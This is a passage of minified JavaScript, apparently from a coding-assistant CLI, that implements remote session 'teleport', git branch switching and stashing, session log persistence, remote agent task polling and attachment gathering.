changes")}finally{O(!1)}},G=(W)=>{if(W==="stash")_();else K()};if(w)return f0.default.createElement(S,{flexDirection:"column",padding:1},f0.default.createElement(S,{marginBottom:1},f0.default.createElement(F7,null),f0.default.createElement(V,null," Checking git status",eA.ellipsis)));if(X)return f0.default.createElement(S,{flexDirection:"column",padding:1},f0.default.createElement(V,{bold:!0,color:"error"},"Error: ",X),f0.default.createElement(S,{marginTop:1},f0.default.createElement(V,{dimColor:!0},"Press "),f0.default.createElement(V,{bold:!0},"Escape"),f0.default.createElement(V,{dimColor:!0}," to cancel")));let Z=z.length>8;return f0.default.createElement(L4,{title:"Working Directory Has Changes",onCancel:K,borderDimColor:!0},f0.default.createElement(V,null,"Teleport will switch git branches. The following changes were found:"),f0.default.createElement(S,{flexDirection:"column",paddingLeft:2},z.length>0?Z?f0.default.createElement(V,null,z.length," files changed"):z.map((W,D)=>f0.default.createElement(V,{key:D},W)):f0.default.createElement(V,{dimColor:!0},"No changes detected")),f0.default.createElement(V,null,"Would you like to stash these changes and continue with teleport?"),J?f0.default.createElement(S,null,f0.default.createElement(F7,null),f0.default.createElement(V,null," Stashing changes...")):f0.default.createElement(E6,{options:[{label:"Stash changes and continue",value:"stash"},{label:"Exit",value:"exit"}],onChange:G}))}var f0,Z9A;var AJK=k(()=>{mA();Jw();Z1();i2();q9();g4();t3();f0=o($A(),1),Z9A=o($A(),1)});async function OPA(){let A=LK()?.accessToken;if(!A)throw Error("Claude Code web sessions require authentication with a Claude.ai account. API key authentication is not sufficient. Please run /login to authenticate, or check your authentication status with /status.");let K=await Fx();if(!K)throw Error("Unable to get organization UUID");let q=`${E7().BASE_API_URL}/v1/environment_providers`;try{let Y={...M_(A),"x-organization-uuid":K},z=await A8.get(q,{headers:Y,timeout:15000});if(z.status!==200)throw Error(`Failed to fetch environments: ${z.status} ${z.statusText}`);return z.data.environments}catch(Y){let z=Y instanceof Error?Y:Error(String(Y));throw KA(z),Error(`Failed to fetch environments: ${z.message}`)}}var tf1=k(()=>{n3();uz();x4();LT();C1();IS()});async function ef1(){if(!Z4())return!1;return rZ()}async function KJK(){return await _1A({ignoreUntracked:!0})}async function qJK(){try{return(await OPA()).length>0}catch(A){return h(`checkHasRemoteEnvironment failed: ${A instanceof Error?A.message:String(A)}`),!1}}async function YJK(){return await yS()!==null}async function zJK(A,K){try{let q=LK()?.accessToken;if(!q)return h("checkGithubAppInstalled: No access token found, assuming app not installed"),!1;let Y=await Fx();if(!Y)return h("checkGithubAppInstalled: No org UUID found, assuming app not installed"),!1;let z=`${E7().BASE_API_URL}/api/oauth/organizations/${Y}/code/repos/${A}/${K}`,w={...M_(q),"x-organization-uuid":Y};h(`Checking GitHub app installation for ${A}/${K}`);let H=await A8.get(z,{headers:w,timeout:15000});if(H.status===200){if(H.data.status){let J=H.data.status.app_installed;return h(`GitHub app ${J?"is":"is not"} installed on ${A}/${K}`),J}return h(`GitHub app is not installed on ${A}/${K} (status is null)`),!1}return h(`checkGithubAppInstalled: Unexpected response status ${H.status}`),!1}catch(q){if(A8.isAxiosError(q)){let Y=q.response?.status;if(Y&&Y>=400&&Y<500)return h(`checkGithubAppInstalled: Got ${Y} error, app likely not installed on ${A}/${K}`),!1}return h(`checkGithubAppInstalled error: ${q instanceof Error?q.message:String(q)}`),!1}}var sx6=k(()=>{Jw();x4();f3A();tf1();LT();uz();IS();n3();Z1()});function AN1({onComplete:A,errorsToIgnore:K=new Set}){let[q,Y]=S$.useState(null),[z,w]=S$.useState(!1),H=S$.useCallback(async()=>{let G=await tx6(),Z=new Set(Array.from(G).filter((W)=>!K.has(W)));if(Z.size===0){A();return}if(Z.has("needsLogin"))Y("needsLogin");else if(Z.has("needsGitStash"))Y("needsGitStash")},[A,K]);S$.useEffect(()=>{H()},[H]);let J=S$.useCallback(()=>{Y5(0)},[]),O=S$.useCallback(()=>{w(!1),H()},[H]),X=S$.useCallback(()=>{w(!0)},[w]),$=S$.useCallback((G)=>{if(G==="login")X();else J()},[X,J]),_=S$.useCallback(()=>{H()},[H]);if(!q)return null;switch(q){case"needsGitStash":return S$.default.createElement(eHK,{onStashAndContinue:_,onCancel:J});case"needsLogin":{if(z)return S$.default.createElement(Lt,{onDone:O,mode:"login",forceLoginMethod:"claudeai"});return S$.default.createElement(L4,{title:"Log in to Claude",onCancel:J,borderDimColor:!0},S$.default.createElement(S,{flexDirection:"column"},S$.default.createElement(V,{dimColor:!0},"Teleport requires a Claude.ai account."),S$.default.createElement(V,{dimColor:!0},"Your Claude Pro/Max subscription will be used by Claude Code.")),S$.default.createElement(E6,{options:[{label:"Login with Claude account",value:"login"},{label:"Exit",value:"exit"}],onChange:$}))}}}async function tx6(){let A=new Set,[K,q]=await Promise.all([ef1(),KJK()]);if(K)A.add("needsLogin");if(!q)A.add("needsGitStash");return A}var S$;var ex6=k(()=>{mA();t3();q9();XQA();AJK();Sw();sx6();S$=o($A(),1)});function HJK(A){let K=wJK.get(A);if(!K)K=vx(async(q,Y,z)=>await UC2(A,q,Y,z)),wJK.set(A,K);return K}async function UC2(A,K,q,Y){for(let z=1;z<=KN1;z++){try{let H=qN1.get(A),J={...Y};if(H)J["Last-Uuid"]=H;let O=await A8.put(q,K,{headers:J,validateStatus:(X)=>X<500});if(O.status===200||O.status===201)return qN1.set(A,K.uuid),h(`Successfully persisted session log entry for session ${A}`),!0;if(O.status===409){if(O.headers["x-last-uuid"]===K.uuid)return qN1.set(A,K.uuid),h(`Session entry ${K.uuid} already present on server, recovering from stale state`),v8("info","session_persist_recovered_from_409"),!0;let _=O.data.error?.message||"Concurrent modification detected";return KA(Error(`Session persistence conflict: UUID mismatch for session ${A}, entry ${K.uuid}. ${_}`)),v8("error","session_persist_fail_concurrent_modification"),!1}if(O.status===401)return h("Session token expired or invalid"),v8("error","session_persist_fail_bad_token"),!1;h(`Failed to persist session log: ${O.status} ${O.statusText}`),v8("error","session_persist_fail_status",{status:O.status,attempt:z})}catch(H){let J=H;KA(Error(`Error persisting session log: ${J.message}`)),v8("error","session_persist_fail_status",{status:J.status,attempt:z})}if(z===KN1)return h(`Remote persistence failed after ${KN1} attempts`),v8("error","session_persist_error_retries_exhausted",{attempt:z}),!1;let w=Math.min(QC2*Math.pow(2,z-1),8000);h(`Remote persistence attempt ${z}/${KN1} failed, retrying in ${w}ms…`),await new Promise((H)=>setTimeout(H,w))}return!1}async function JJK(A,K,q){let Y=iT();if(!Y)return h("No session token available for session persistence"),v8("error","session_persist_fail_jwt_no_token"),!1;let z={Authorization:`Bearer ${Y}`,"Content-Type":"application/json"};return await HJK(A)(K,q,z)}async function OJK(A,K){try{let{accessToken:q,orgUUID:Y}=await jv(),z=`${E7().BASE_API_URL}/v1/session_ingress/session/${A}`,w={...M_(q),"x-organization-uuid":Y};return await HJK(A)(K,z,w)}catch(q){return h(`Failed to get OAuth credentials: ${q instanceof Error?q.message:String(q)}`),v8("error","session_persist_fail_oauth_no_token"),!1}}async function XJK(A,K){let q=iT();if(!q)return h("No session token available for fetching session logs"),v8("error","session_get_fail_no_token"),null;let Y={Authorization:`Bearer ${q}`},z=await _JK(A,K,Y);if(z&&z.length>0){let w=z[z.length-1];if(w&&"uuid"in w&&w.uuid)qN1.set(A,w.uuid)}return z}async function $JK(A,K,q){let Y=`${E7().BASE_API_URL}/v1/session_ingress/session/${A}`;h(`[session-ingress] Fetching session logs from: ${Y}`);let z={...M_(K),"x-organization-uuid":q};return await _JK(A,Y,z)}async function _JK(A,K,q){try{let Y=await A8.get(K,{headers:q,timeout:20000,validateStatus:(z)=>z<500});if(Y.status===200){let z=Y.data;if(!z||typeof z!=="object"||!Array.isArray(z.loglines))return KA(Error(`Invalid session logs response format: ${UA(z)}`)),v8("error","session_get_fail_invalid_response"),null;let w=z.loglines;return h(`Fetched ${w.length} session logs for session ${A}`),w}if(Y.status===404)return h(`No existing logs for session ${A}`),v8("warn","session_get_no_logs_for_session"),[];if(Y.status===401)throw h("Auth token expired or invalid"),v8("error","session_get_fail_bad_token"),Error("Your session has expired. Please run /login to sign in again.");return h(`Failed to fetch session logs: ${Y.status} ${Y.statusText}`),v8("error","session_get_fail_status",{status:Y.status}),null}catch(Y){let z=Y;return KA(Error(`Error fetching session logs: ${z.message}`)),v8("error","session_get_fail_status",{status:z.status}),null}}var qN1,KN1=10,QC2=500,wJK;var YN1=k(()=>{n3();C1();Z1();ja();uz();IS();dj();b1();qN1=new Map,wJK=new Map});import{randomUUID as dC2}from"crypto";function cC2(A){if(A===null)return sG("Session resumed","suggestion");let K=A instanceof o$?A.formattedMessage:A.message;return sG(`Session resumed without branch: ${K}`,"warning")}function lC2(){return t1({content:`This session is being continued from another machine. Application state may have changed. The updated working directory is ${V8()}`,isMeta:!0})}async function nC2(A,K){let q=A.length>75?`${A.slice(0,75)}…`:A,Y="claude/task";try{let z=iC2.replace("{description}",A),H=(await D$({systemPrompt:[],userPrompt:z,outputFormat:{type:"json_schema",schema:{type:"object",properties:{title:{type:"string"},branch:{type:"string"}},required:["title","branch"],additionalProperties:!1}},signal:K,options:{querySource:"teleport_generate_title",agents:[],isNonInteractiveSession:!1,hasAppendSystemPrompt:!1,mcpTools:[]}})).message.content[0];if(H?.type!=="text")return{title:q,branchName:"claude/task"};let J=P3(H.text.trim()),O=U.object({title:U.string(),branch:U.string()}).safeParse(J);if(O.success)return{title:O.data.title||q,branchName:O.data.branch||"claude/task"};return{title:q,branchName:"claude/task"}}catch(z){return KA(Error(`Error generating title and branch: ${z}`)),{title:q,branchName:"claude/task"}}}async function HN1(){if(!await _1A({ignoreUntracked:!0}))throw n("tengu_teleport_error_git_not_clean",{}),new o$("Git working directory is not clean. Please commit or stash your changes before using --teleport.",O1.red(`Error: Git working directory is not clean. Please commit or stash your changes before using --teleport. `))}async function rC2(A){let K=A?["fetch","origin",`${A}:${A}`]:["fetch","origin"],{code:q,stderr:Y}=await R6("git",K);if(q!==0)if(A&&Y.includes("refspec")){h(`Specific branch fetch failed, trying to fetch ref: ${A}`);let{code:z,stderr:w}=await R6("git",["fetch","origin",A]);if(z!==0)KA(Error(`Failed to fetch from remote origin: ${w}`))}else KA(Error(`Failed to fetch from remote origin: ${Y}`))}async function oC2(A){let{code:K}=await R6("git",["rev-parse","--abbrev-ref",`${A}@{upstream}`]);if(K===0){h(`Branch '${A}' already has upstream set`);return}let{code:q}=await R6("git",["rev-parse","--verify",`origin/${A}`]);if(q===0){h(`Setting upstream for '${A}' to 'origin/${A}'`);let{code:Y,stderr:z}=await R6("git",["branch","--set-upstream-to",`origin/${A}`,A]);if(Y!==0)h(`Failed to set upstream for '${A}': ${z}`);else h(`Successfully set upstream for '${A}'`)}else h(`Remote branch 'origin/${A}' does not exist, skipping upstream setup`)}async function aC2(A){let{code:K,stderr:q}=await R6("git",["checkout",A]);if(K!==0){h(`Local checkout failed, trying to checkout from origin: ${q}`);let Y=await R6("git",["checkout","-b",A,"--track",`origin/${A}`]);if(K=Y.code,q=Y.stderr,K!==0){h(`Remote checkout with -b failed, trying without -b: ${q}`);let z=await R6("git",["checkout","--track",`origin/${A}`]);K=z.code,q=z.stderr}}if(K!==0)throw n("tengu_teleport_error_branch_checkout_failed",{}),new o$(`Failed to checkout branch '${A}': ${q}`,O1.red(`Failed to checkout branch '${A}' `));await oC2(A)}async function zN1(){let{stdout:A}=await R6("git",["branch","--show-current"]);return A.trim()}function XPA(A,K){return[...HpA(A),lC2(),cC2(K)]}async function $PA(A){try{let K=await zN1();if(h(`Current branch before teleport: '${K}'`),A){h(`Switching to branch '${A}'...`),await rC2(A),await aC2(A);let Y=await zN1();h(`Branch after checkout: '${Y}'`)}else h("No branch specified, staying on current branch");return{branchName:await zN1(),branchError:null}}catch(K){let q=await zN1(),Y=K instanceof Error?K:Error(String(K));return{branchName:q,branchError:Y}}}async function Au6(A){let K=await yS(),q=A.session_context.sources.find((z)=>z.type==="git_repository");if(!q?.url)return h(K?"Session has no associated repository, proceeding without validation":"Session has no repo requirement and not in git directory, proceeding"),{status:"no_repo_required"};let Y=V3A(q.url);if(!Y)return{status:"no_repo_required"};if(h(`Session is for repository: ${Y}, current repo: ${K??"none"}`),!K)return{status:"not_in_repo",sessionRepo:Y,currentRepo:null};if(K.toLowerCase()===Y.toLowerCase())return{status:"match",sessionRepo:Y,currentRepo:K};return{status:"mismatch",sessionRepo:Y,currentRepo:K}}async function we(A,K){if(!HP("allow_remote_sessions"))throw Error("Remote sessions are disabled by your organization's policy.");h(`Resuming code session ID: ${A}`);try{let q=LK()?.accessToken;if(!q)throw n("tengu_teleport_resume_error",{error_type:"no_access_token"}),Error("Claude Code web sessions require authentication with a Claude.ai account. API key authentication is not sufficient. Please run /login to authenticate, or check your authentication status with /status.");let Y=await Fx();if(!Y)throw n("tengu_teleport_resume_error",{error_type:"no_org_uuid"}),Error("Unable to get organization UUID for constructing session URL");K?.("validating");let z=await DQA(A),w=await Au6(z);switch(w.status){case"match":case"no_repo_required":break;case"not_in_repo":throw n("tengu_teleport_error_repo_not_in_git_dir_sessions_api",{sessionId:A}),new o$(`You must run claude --teleport ${A} from a checkout of ${w.sessionRepo}.`,O1.red(`You must run claude --teleport ${A} from a checkout of ${O1.bold(w.sessionRepo)}. `));case"mismatch":throw n("tengu_teleport_error_repo_mismatch_sessions_api",{sessionId:A}),new o$(`You must run claude --teleport ${A} from a checkout of ${w.sessionRepo}. This repo is ${w.currentRepo}.`,O1.red(`You must run claude --teleport ${A} from a checkout of ${O1.bold(w.sessionRepo)}. This repo is ${O1.bold(w.currentRepo)}. `));case"error":throw new o$(w.errorMessage||"Failed to validate session repository",O1.red(`Error: ${w.errorMessage||"Failed to validate session repository"} `));default:{let H=w.status;throw Error(`Unhandled repo validation status: ${H}`)}}return await tC2(A,Y,q,K,z)}catch(q){if(q instanceof o$)throw q;let Y=q instanceof Error?q:Error(String(q));throw KA(Y),n("tengu_teleport_resume_error",{error_type:"resume_session_id_catch"}),new o$(Y.message,O1.red(`Error: ${Y.message} `))}}async function sC2(A){let K=await tx6();if(K.size>0)n("tengu_teleport_errors_detected",{error_types:Array.from(K).join(","),errors_ignored:Array.from(A||[]).join(",")}),await new Promise(async(q)=>{let{unmount:Y}=await M9(wN1.default.createElement($Y,null,wN1.default.createElement(Ez,null,wN1.default.createElement(AN1,{errorsToIgnore:A,onComplete:()=>{n("tengu_teleport_errors_resolved",{error_types:Array.from(K).join(",")}),Y(),q()}}))),Iw(!1))})}async function GJK(A,K,q){return await sC2(new Set(["needsGitStash"])),W9A({initialMessage:A,signal:K,branchName:q})}async function tC2(A,K,q,Y,z){let w=Date.now();try{h(`[teleport] Starting fetch for session: ${A}`),Y?.("fetching_logs");let H=Date.now(),J=await $JK(A,q,K);if(h(`[teleport] Session logs fetched in ${Date.now()-H}ms`),J===null)throw Error("Failed to fetch session logs");let O=Date.now(),X=J.filter((_)=>Pm(_)&&!_.isSidechain);h(`[teleport] Filtered ${J.length} entries to ${X.length} messages in ${Date.now()-O}ms`),Y?.("fetching_branch");let $=z?Ry6(z):void 0;if($)h(`[teleport] Found branch: ${$}`);return h(`[teleport] Total teleportFromSessionsAPI time: ${Date.now()-w}ms`),{log:X,branch:$}}catch(H){let J=H instanceof Error?H:Error(String(H));if(A8.isAxiosError(H)&&H.response?.status===404)throw n("tengu_teleport_error_session_not_found_404",{sessionId:A}),new o$(`${A} not found.`,`${A} not found. ${O1.dim("Run /status in Claude Code to check your account.")}`);throw KA(J),Error(`Failed to fetch session from Sessions API: ${J.message}`)}}async function ZJK(A){let K=LK()?.accessToken;if(!K)throw Error("No access token for polling");let q=await Fx();if(!q)throw Error("No org UUID for polling");let Y=M_(K),z=`${E7().BASE_API_URL}/v1/sessions/${A}/events`,w=await A8.get(z,{headers:{...Y,"x-organization-uuid":q},timeout:30000});if(w.status!==200)throw Error(`Failed to fetch session events: ${w.statusText}`);let H=w.data;if(!H?.data||!Array.isArray(H.data))throw Error("Invalid events response");let J=[];for(let X of H.data)if(X&&typeof X==="object"&&"type"in X){if(X.type==="env_manager_log"||X.type==="control_response")continue;if("session_id"in X)J.push(X)}let O;try{let X=await DQA(A);O=Ry6(X)}catch{}return{log:J,branch:O}}async function W9A(A){if(!HP("allow_remote_sessions"))throw Error("Remote sessions are disabled by your organization's policy.");let{initialMessage:K,description:q,signal:Y}=A;try{await rZ();let z=LK()?.accessToken;if(!z)return KA(Error("No access token found for remote session creation")),null;let w=await Fx();if(!w)return KA(Error("Unable to get organization UUID for remote session creation")),null;let H=await yS(),J=null,O=null,{title:X,branchName:$}=await nC2(q||K||"Background task",Y);if(H){let[x,y]=H.split("/");if(x&&y)J={type:"git_repository",url:`https://github.com/${x}/${y}`,revision:A.branchName},O={type:"git_repository",git_info:{type:"github",repo:`${x}/${y}`,branches:[$]}};else KA(Error(`Invalid repository format: ${H} - expected 'owner/name'`))}let _=await OPA();if(!_||_.length===0)return KA(Error("No environments available for session creation")),null;let Z=J8()?.remote?.defaultEnvironmentId,W=Z&&_.find((x)=>x.environment_id===Z)||_[0];if(!W)return KA(Error("No environments available for session creation")),null;if(Z){let x=W.environment_id===Z;h(x?`Using configured default environment: ${Z}`:`Configured default environment ${Z} not found, using first available`)}let D=W.environment_id;h(`Selected environment: ${D} (${W.name})`);let j=`${E7().BASE_API_URL}/v1/sessions`,M={...M_(z),"x-organization-uuid":w},P={sources:J?[J]:[],outcomes:O?[O]:[],model:J3()},f=K?[{type:"event",data:{uuid:dC2(),session_id:"",type:"user",parent_tool_use_id:null,message:{role:"user",content:K}}}]:[],N={title:X,events:f,session_context:P,environment_id:D};h(`Creating session with payload: ${UA(N,null,2)}`);let T=await A8.post(j,N,{headers:M,signal:Y});if(!(T.status===200||T.status===201))return KA(Error(`API request failed with status ${T.status}: ${T.statusText} Response data: ${UA(T.data,null,2)}`)),null;let R=T.data;if(!R||typeof R.id!=="string")return KA(Error(`Cannot determine session ID from API response: ${UA(T.data)}`)),null;return h(`Successfully created remote session: ${R.id}`),{id:R.id,title:R.title||X}}catch(z){let w=z instanceof Error?z:Error(String(z));return KA(w),null}}var wN1,iC2=`You are coming up with a succinct title and git branch name for a coding session based on the provided description. The title should be clear, concise, and accurately reflect the content of the coding task. You should keep it short and simple, ideally no more than 6 words. Avoid using jargon or overly technical terms unless absolutely necessary. The title should be easy to understand for anyone reading it. Use sentence case for the title (capitalize only the first word and proper nouns), not Title Case. The branch name should be clear, concise, and accurately reflect the content of the coding task. You should keep it short and simple, ideally no more than 4 words. The branch should always start with "claude/" and should be all lower case, with words separated by dashes. Return a JSON object with "title" and "branch" fields. Example 1: {"title": "Fix login button not working on mobile", "branch": "claude/fix-mobile-login-button"} Example 2: {"title": "Update README with installation instructions", "branch": "claude/update-readme"} Example 3: {"title": "Improve performance of data processing script", "branch": "claude/improve-data-processing"} Here is the session description: <description>{description}</description> Please generate a title and branch name for this session.`;var Ud=k(()=>{CK();Jw();JPA();u5();iw();Z1();Xw();z7();C1();mA();A4();dB();ex6();x4();LT();n3();uz();x4();f3A();sz();K7();l1();$8();q6();CS();IS();tf1();I8();YN1();UK();b1();cB();wN1=o($A(),1)});async function WJK(){let A=[];if(!HP("allow_remote_sessions"))return A.push({type:"policy_blocked"}),A;let[K,q,Y,z]=await Promise.all([ef1(),qJK(),YJK(),yS()]);if(K)A.push({type:"not_logged_in"});if(!q)A.push({type:"no_remote_environment"});if(!Y)A.push({type:"not_in_git_repo"});if(z){let[w,H]=z.split("/");if(w&&H){if(!await zJK(w,H))A.push({type:"github_app_not_installed"})}}return A}var DJK=k(()=>{sx6();f3A();CS()});async function JN1(){let A=await WJK();if(A.length>0)return{eligible:!1,errors:A};return{eligible:!0}}function ON1(A){switch(A.type){case"not_logged_in":return"Please run /login and sign in with your Claude.ai account (not Console).";case"no_remote_environment":return"No environments available, please ensure you've gone through onboarding at claude.ai/code";case"not_in_git_repo":return"Background tasks require a git repository. Initialize git or run from a git repository.";case"github_app_not_installed":return`The Claude GitHub app must be installed on this repository first. https://github.com/apps/claude/installations/new`;case"policy_blocked":return"Remote sessions are disabled by your organization's policy."}}function eC2(A,K,q,Y){let z=q==="completed"?"completed successfully":q==="failed"?"failed":"was killed",w=Ew(A),H=`<${g0}> <${oP}>${A}</${oP}> <${ErA}>remote_agent</${ErA}> <${vR}>${w}</${vR}> <${WZ}>${q}</${WZ}> <${DZ}>Remote task "${K}" ${z}</${DZ}> </${g0}> Read the output file to retrieve the result: ${w}`;hG({value:H,mode:"task-notification"},Y),eY(A,Y,(J)=>({...J,notified:!0}))}function AL2(A){let K=A.findLast((z)=>z.type==="assistant"&&z.message.content.some((w)=>w.type==="tool_use"&&w.name===o0.name));if(!K)return[];let q=K.message.content.find((z)=>z.type==="tool_use"&&z.name===o0.name)?.input;if(!q)return[];let Y=o0.inputSchema.safeParse(q);if(!Y.success)return[];return Y.data.todos}async function KL2(A,K){try{let q=await D$({systemPrompt:["You are given a few messages from a conversation, as well as a summary of the conversation so far. Your task is to summarize the new messages in the conversation based on the summary so far. Aim for 1-2 sentences at most, focusing on the most important details. The summary MUST be in <summary>summary goes here</summary> tags. If there is no new information, return an empty string: <summary></summary>."],userPrompt:`Summary so far: ${K} New messages: ${UA(A)}`,signal:new AbortController().signal,options:{querySource:"background_task_summarize_delta",agents:[],isNonInteractiveSession:!1,hasAppendSystemPrompt:!1,mcpTools:[]}}),Y=Vm(q);if(!Y)return null;return i7(Y,"summary")}catch(q){return KA(q instanceof Error?q:Error(String(q))),null}}function gUA(A){let{session:K,command:q,context:Y}=A,z=`r${K.id.substring(0,6)}`;wWA(z);let w={...oM(z,"remote_agent",K.title),type:"remote_agent",status:"running",sessionId:K.id,command:q,title:K.title,todoList:[],log:[],deltaSummarySinceLastFlushToAttachment:null};aM(w,Y.setAppState);let H=qL2(z,Y);return{taskId:z,cleanup:H}}function qL2(A,K){let q=!0,Y=1000,z=async()=>{if(!q)return;try{let H=(await K.getAppState()).tasks?.[A];if(!H||H.status!=="running")return;let J=await ZJK(H.sessionId),O=J.log.find((G)=>G.type==="result"),X=O?O.subtype==="success"?"completed":"failed":J.log.length>0?"running":"starting",$=J.log.slice(H.log.length),_=null;if($.length>0){let G=H.deltaSummarySinceLastFlushToAttachment;_=await KL2($,G);let Z=$.map((W)=>{if(W.type==="assistant")return W.message.content.filter((D)=>D.type==="text").map((D)=>("text"in D)?D.text:"").join(` `);return UA(W)}).join(` `);if(Z)cqA(A,Z+` `)}if(eY(A,K.setAppState,(G)=>({...G,status:X==="starting"?"running":X,log:J.log,todoList:AL2(J.log),deltaSummarySinceLastFlushToAttachment:_,endTime:O?Date.now():void 0})),O){let G=O.subtype==="success"?"completed":"failed";eC2(A,H.title,G,K.setAppState);return}}catch(w){KA(w instanceof Error?w:Error(String(w)))}if(q)setTimeout(z,Y)};return z(),()=>{q=!1}}function D9A(A){return UY1(A,process.env.SESSION_INGRESS_URL)}function MJK(A){return`claude --teleport ${A}`}var pd,jJK;var sMA=k(()=>{mA();lqA();C1();Z1();Tf();cI();rM();Ud();sz();$8();XXA();DJK();b1();wz();pd=o($A(),1);jJK={name:"RemoteAgentTask",type:"remote_agent",async spawn(A,K){let{command:q,title:Y}=A,{abortController:z}=K;h(`RemoteAgentTask spawning: ${Y}`);let w=await W9A({initialMessage:q,description:Y,signal:z.signal});if(!w)throw Error("Failed to create remote session");let{taskId:H,cleanup:J}=gUA({session:{id:w.id,title:w.title||Y},command:q,context:K});return{taskId:H,cleanup:J}},async kill(A,K){eY(A,K.setAppState,(q)=>{if(q.status!=="running")return q;return{...q,status:"killed",endTime:Date.now()}}),h(`RemoteAgentTask ${A} marked as killed (local only)`)},renderStatus(A){let K=A,q=K.status,Y=K.title;return pd.createElement(S,null,pd.createElement(V,{color:q==="running"?"warning":q==="completed"?"success":q==="failed"?"error":"inactive"},"[",q,"] ",Y))},renderOutput(A){return pd.createElement(S,null,pd.createElement(V,null,A))},getProgressMessage(A){let q=A.deltaSummarySinceLastFlushToAttachment;if(!q)return null;return`Remote task ${A.id} progress: ${q}. Read ${A.outputFile} to see full output.`}}});function YL2(){return[$WA,L_1,jJK]}function uUA(A){return YL2().find((K)=>K.type===A)}var mb6=k(()=>{_WA();XWA();sMA()});function eY(A,K,q){K((Y)=>{let z=Y.tasks?.[A];if(!z)return Y;return{...Y,tasks:{...Y.tasks,[A]:q(z)}}})}function aM(A,K){K((q)=>({...q,tasks:{...q.tasks,[A.id]:A}}))}function PJK(A){if(A.type==="local_bash"){let K=A;return{...K,lastReportedStdoutLines:K.stdoutLineCount,lastReportedStderrLines:K.stderrLineCount}}if(A.type==="local_agent"){let K=A;return{...K,lastReportedToolCount:K.progress?.toolUseCount??0,lastReportedTokenCount:K.progress?.tokenCount??0}}return A}function VJK(A){let K=[],q=[],Y={},z=A.tasks??{};for(let w of Object.values(z)){if(w.notified&&w.status!=="running")continue;let H=null;if(w.status==="running"){let J=tM6(w.id,w.outputOffset);if(J.content){let{content:$}=BUA(J.content,w.id);H=$,Y[w.id]={...w,outputOffset:J.newOffset}}let X=uUA(w.type)?.getProgressMessage(w)??null;if(X)q.push({type:"task_progress",taskId:w.id,taskType:w.type,message:X})}if(w.status!=="running"&&w.status!=="pending"&&!w.notified){let J=tM6(w.id,w.outputOffset);if(J.content){let{content:O}=BUA(J.content,w.id);H=O}K.push({type:"task_status",taskId:w.id,taskType:w.type,status:w.status,description:w.description,deltaSummary:H}),Y[w.id]={...Y[w.id]??w,notified:!0,outputOffset:J.newOffset}}}return{attachments:K,progressAttachments:q,updatedTasks:Y}}var cI=k(()=>{rM();Tf();mb6();gb6();wz()});import{dirname as Ku6,parse as fJK,resolve as TJK}from"path";import{randomUUID as zL2}from"node:crypto";async function OL2(A,K,q,Y,z,w){if(P1(process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS))return[];let H=e7();setTimeout(()=>{H.abort()},1000);let J={...K,abortController:H},O=!K.agentId,X=A?[xw("at_mentioned_files",()=>TL2(A,J)),xw("mcp_resources",()=>EL2(A,J)),xw("agent_mentions",()=>Promise.resolve(vL2(A,K.options.agentDefinitions.activeAgents)))]:[],$=await Promise.all(X),_=[xw("changed_files",()=>kL2(J)),xw("nested_memory",()=>CL2(J)),xw("dynamic_skill",()=>LL2(J)),xw("skill_listing",()=>RL2(J)),xw("ultra_claude_md",async()=>PL2(z)),xw("plan_mode",()=>GL2(z,K)),xw("plan_mode_exit",()=>ZL2(K)),xw("delegate_mode",()=>WL2(K)),xw("delegate_mode_exit",()=>Promise.resolve(DL2())),xw("todo_reminders",()=>ew()?QL2(z,K):gL2(z,K)),...b8()?[xw("teammate_mailbox",async()=>cL2(K)),xw("team_context",async()=>lL2(z??[]))]:[],xw("critical_system_reminder",()=>Promise.resolve(jL2(K)))],G=O?[xw("ide_selection",async()=>VL2(q,K)),xw("ide_opened_file",async()=>NL2(q,K)),xw("output_style",async()=>Promise.resolve(ML2())),xw("diagnostics",async()=>uL2(K)),xw("lsp_diagnostics",async()=>BL2(K)),xw("unified_tasks",async()=>pL2(K,z)),xw("async_hook_responses",async()=>dL2()),xw("token_usage",async()=>Promise.resolve(iL2(z??[]))),xw("budget_usd",async()=>Promise.resolve(nL2(K.options.maxBudgetUsd))),xw("verify_plan_reminder",async()=>oL2(z,K)),xw("queued_commands",async()=>Promise.resolve(XL2(Y)))]:[],[Z,W]=await Promise.all([Promise.all(_),Promise.all(G)]);return[...$.flat(),...Z.flat(),...W.flat()]}async function xw(A,K){let q=Date.now();try{let Y=await K(),z=Date.now()-q,w=Y.reduce((H,J)=>{return H+UA(J).length},0);if(Math.random()<0.05)n("tengu_attachment_compute_duration",{label:A,duration_ms:z,attachment_size_bytes:w,attachment_count:Y.length});return Y}catch(Y){let z=Date.now()-q;if(Math.random()<0.05)n("tengu_attachment_compute_duration",{label:A,duration_ms:z,error:!0});return KA(Y),fE(`Attachment error in ${A}`,Y),[]}}function XL2(A){if(!A)return[];return A.filter((K)=>K.mode==="prompt").map((K)=>({type:"queued_command",prompt:K.value,source_uuid:K.uuid,imagePasteIds:K.imagePasteIds}))}function $L2(A){let K=0,q=!1;for(let Y=A.length-1;Y>=0;Y--){let z=A[Y];if(z?.type==="assistant"){if(OpA(z))continue;K++}else if(z?.type==="attachment"&&(z.attachment.type==="plan_mode"||z.attachment.type==="plan_mode_reentry")){q=!0;break}}return{turnCount:K,foundPlanModeAttachment:q}}function _L2(A){let K=0;for(let q=A.length-1;q>=0;q--){let Y=A[q];if(Y?.type==="attachment"){if(Y.attachment.type==="plan_mode_exit")break;if(Y.attachment.type==="plan_mode")K++}}return K}async function GL2(A,K){if((await K.getAppState()).toolPermissionContext.mode!=="plan")return[];if(A&&A.length>0){let{turnCount:X,foundPlanModeAttachment:$}=$L2(A);if($&&X<NJK.TURNS_BETWEEN_ATTACHMENTS)return[]}let z=uM(K.agentId),w=fG(K.agentId),H=[];if(Rr6()&&w!==null)H.push({type:"plan_mode_reentry",planFilePath:z}),VE(!1);let O=(_L2(A??[])+1)%NJK.FULL_REMINDER_EVERY_N_ATTACHMENTS===1?"full":"sparse";return H.push({type:"plan_mode",reminderType:O,isSubAgent:!!K.agentId,planFilePath:z,planExists:w!==null}),H}async function ZL2(A){if(!yr6())return[];if((await A.getAppState()).toolPermissionContext.mode==="plan")return xg(!1),[];xg(!1);let q=uM(A.agentId),Y=fG(A.agentId)!==null;return[{type:"plan_mode_exit",planFilePath:q,planExists:Y}]}async function WL2(A){let K=await A.getAppState();if(K.toolPermissionContext.mode!=="delegate")return[];if(!K.teamContext)return[];let z=`${process.env.HOME||process.env.USERPROFILE||"."}/.claude/tasks/${K.teamContext.teamName}/`;return[{type:"delegate_mode",teamName:K.teamContext.teamName,taskListPath:z}]}function 